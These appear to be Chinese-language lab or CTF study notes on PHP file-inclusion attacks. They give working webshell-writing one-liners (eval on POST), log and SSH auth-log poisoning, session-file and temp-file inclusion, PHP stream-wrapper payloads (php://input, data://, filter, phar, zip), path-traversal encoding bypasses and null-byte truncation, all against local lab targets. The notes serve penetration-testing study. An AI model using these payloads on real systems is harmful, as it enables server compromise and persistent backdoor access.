include发生错误报warning,继续执行。require发生错误直接error,不继续执行
无视扩展名,只要能解析,就能当可执行文件执行,哪怕文件后缀或没后缀
1 条件竞争 pass17 只需要知道tmp的路径。把xieshell.jpg上传,抓包反复上传。文件包含xieshell.jpg,如果成功了会生成shell.php(与包含的页面同路径).
php
<?php fputs(fopen("./shelln.php","w"),'<?php @eval($_POST[cmd]);?>')?>
2 读文件
3 解析.jpg 前提是知道文件名
也可以解析xieshell.php,会在与当前页面同路径下生成shell,如下图,还是会在BaoHan.php的同路径下生成shell
4 包含日志文件,需要知道文件路径。XAMPP的日志的默认路径:c:/xampp2/apache/logs/error.log
Linux:/var/log/apache2/
或 /var/log/httpd/中error_log
或 error.log
首先随意抓包,GET部分写一句话
<?php @eval($_POST[123]);?>
之后日志中出现错误信息
但蚁剑连不上
推测的原因是日志内容太多。为了验证,将error.log复制为error3.log,仍然连不上,但把一句话所在错误粘到日志前面几行就可以连接。
5 包含ssh文件 ssh root@1.1.1.1 可以把root改为一句话
SSH日志Getshell
利用条件:需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log
用ssh连接
ubuntu:~$ ssh '<?php phpinfo(); ?>'@remotehost
包含FTP日志
利用条件:将用户名填写成PHP代码
8 包含临时文件
利用条件:上传文件,会创建临时文件。在临时文件被删除之前,利用竞争即可包含该临时文件。
由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。
另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。
7 包含session文件。
通过phpinfo的信息可以获取到session的存储位置。
通过phpinfo的信息,获取到session.save_path为C:\XAMPP2\tmp。
通过猜测默认的session存放位置进行尝试。
linux下默认存储在/var/lib/php/session
php的session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取。【如果找不到清除所有的cookie】
先到session页面下,ctfs传值会写到session文件中,
http://192.168.100.200/baohan/session.php?ctfs=\<?php fputs(fopen("./shell123.php","w"),'<?php @eval($_POST[cmd]);?>')?>
F12可以获取sessionid,则拼接为session文件名 sess_nqn4jjhe0em9i0dc9lari29k61
验证一下
然后到包含页面包含session文件
在baohan目录下生成shell123.php
8 file协议 有时候不带file也行,需要试
9 php://input post传值 这里直接执行写文件,shella保存在页面同路径下
10 反向shell 脚本不给,代码在RCE
11 姿势1 data://text/plain,
姿势2 ?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b 把命令转成base64 再把+转为URL
12 filter 文件包含读不出来,file读不出来。可能是文件内容有敏感字符。
?page=php://filter/read=convert.base64-encode/resource=c:/key.cisp
13 phar:// 先把phpinfo.txt压缩为.zip, 再重命名为1.jpg 放在靶机1 C:\XAMPP2\htdocs\baohan ?page=phar://1.jpg/phpinfo.txt 可以换成写webshell的代码
也可以把脚本换成wen
14 zip ?page=zip://c:/xampp2/htdocs/baohan/1.jpg%23phpinfo.txt 需要绝对路径 %23是#
15 远程文件包含 如果不能上传到服务器
能碰到的情况基本不开远程文件包含,能开本地文件包含就不错了
16 前缀限制 http://192.168.100.200/baohan/qian.php?file=/../passwords.txt
如果有过滤,可以双写, 可以url编码点和斜杠 ?file=%2f..%2fpasswords.txt
最多把百分号再url编码 ?file=..%252fphpinfo.php 但这个环境不行
(java可以将某些特殊字符解析成点)
17 后缀限制
?filename=./phpinfo.txt%00 不行,因为版本太高 换XSS机器
?filename=phpinfo.txt%00 也可以 ./表示当前目录
超过256字节会被丢弃。Linux要超过4096 版本也不能高。
还可以远程包含